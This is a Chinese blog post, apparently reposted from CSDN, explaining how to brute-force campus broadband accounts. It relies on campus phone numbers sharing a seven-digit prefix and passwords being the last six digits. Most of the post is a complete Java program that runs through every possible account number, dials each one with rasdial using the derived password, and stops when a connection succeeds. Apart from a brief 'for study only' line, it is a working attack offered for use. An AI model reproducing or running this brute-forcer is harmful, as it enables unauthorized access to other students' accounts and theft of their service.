飞道的博客

爆破校园网的宽带

450人阅读  评论(0)

前提:学校的手机号前7位相同,宽带密码都是手机号后六位。仅供学习。

准备工作:电脑一台,把校园网的宽带水晶头插在电脑上,

步骤:

  1. win+R输入Rasphone
  2. 点击新建,宽带,输入宽带名称(要记住这个名字,最好是英文字母的组合,账号与密码不用填),创建。
  3. 执行下面的代码,把下面的手机号段前七位改为你要爆破的,youName改成你创建的宽带连接。
    
        
    1. import java.io.BufferedReader;
    2. import java.io.IOException;
    3. import java.io.InputStream;
    4. import java.io.InputStreamReader;
    5. //暴力破解宽带
    6. public class Main {
    7. static String phoneFirst = "1322395"; //手机号的前七位
    8. static String yourName = "xin"; //你起的宽带连接名
    9. /**
    10. * 执行CMD命令,并返回String字符串
    11. */
    12. public static String executeCmd (String strCmd) throws Exception {
    13. Process p = Runtime.getRuntime().exec( "cmd /c " + strCmd);
    14. StringBuilder sbCmd = new StringBuilder();
    15. BufferedReader br = new BufferedReader( new InputStreamReader(p.getInputStream(), "GBK"));
    16. String line;
    17. while ((line = br.readLine()) != null) {
    18. sbCmd.append(line + "\n");
    19. }
    20. return sbCmd.toString();
    21. }
    22. /**
    23. * ADSL连接宽带
    24. */
    25. public static boolean connAdsl (String adslTitle, String adslName, String adslPass) throws Exception {
    26. System.out.println( "正在建立连接.");
    27. String adslCmd = "rasdial " + adslTitle + " " + adslName + " " + adslPass;
    28. String tempCmd = executeCmd(adslCmd);
    29. // 判断是否连接成功
    30. if (tempCmd.indexOf( "已连接") > 0) {
    31. System.out.println( "已成功建立连接.");
    32. return true;
    33. } else {
    34. System.err.println(tempCmd);
    35. System.err.println( "建立连接失败");
    36. return false;
    37. }
    38. }
    39. /**
    40. * 断开ADSL
    41. */
    42. public static boolean cutAdsl (String adslTitle) throws Exception {
    43. String cutAdsl = "rasdial " + adslTitle + " /disconnect";
    44. String result = executeCmd(cutAdsl);
    45. if (result.indexOf( "没有连接") != - 1) {
    46. System.err.println(adslTitle + "连接不存在!");
    47. return false;
    48. } else {
    49. System.out.println( "连接已断开");
    50. return true;
    51. }
    52. }
    53. /**
    54. * 测试网络是否连接
    55. */
    56. public static boolean isConnect () {
    57. boolean connect = false;
    58. Runtime runtime = Runtime.getRuntime();
    59. Process process;
    60. try {
    61. process = runtime.exec( "ping " + "www.baidu.com");
    62. InputStream is = process.getInputStream();
    63. InputStreamReader isr = new InputStreamReader(is);
    64. BufferedReader br = new BufferedReader(isr);
    65. String line = null;
    66. StringBuffer sb = new StringBuffer();
    67. while ((line = br.readLine()) != null) {
    68. sb.append(line);
    69. }
    70. System.out.println( "返回值为:" + sb);
    71. is.close();
    72. isr.close();
    73. br.close();
    74. if ( null != sb && !sb.toString().equals( "")) {
    75. if (sb.toString().indexOf( "TTL") > 0) {
    76. // 网络畅通
    77. connect = true;
    78. } else {
    79. // 网络不畅通
    80. connect = false;
    81. }
    82. }
    83. } catch (IOException e) {
    84. e.printStackTrace();
    85. }
    86. return connect;
    87. }
    88. //测试代码
    89. public static void main (String[] args) throws InterruptedException,
    90. Exception {
    91. for ( int i = 0; i <= 9999; i++) {
    92. boolean connect = isConnect();
    93. String str = String.format( "%04d", i); //获得长度为4的数字
    94. String username = phoneFirst + str; //宽带账号
    95. System.out.println( "宽带账户:" + username);
    96. String password = username.substring( 5);
    97. if (i % 3 == 0) {
    98. Thread.sleep( 200); //防止拨号过于频繁
    99. }
    100. if (!connect) { //没有拨号成功,则取消上次拨号
    101. executeCmd( "Rasdial " + yourName + " /DISCONNECT");
    102. System.out.println( "无网络,正在重新拨号");
    103. connAdsl(yourName, username, password); //重新拨号
    104. } else {
    105. System.out.println( "网络正常"); //破解成功,后面的break会暂停。
    106. break;
    107. }
    108. }
    109. }
    110. }

 如果执行中途退出了,再次执行的时候一定要把你创建的宽带连接删除掉,从第一步开始重新来!


转载:https://blog.csdn.net/LYXlyxll/article/details/127624634
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场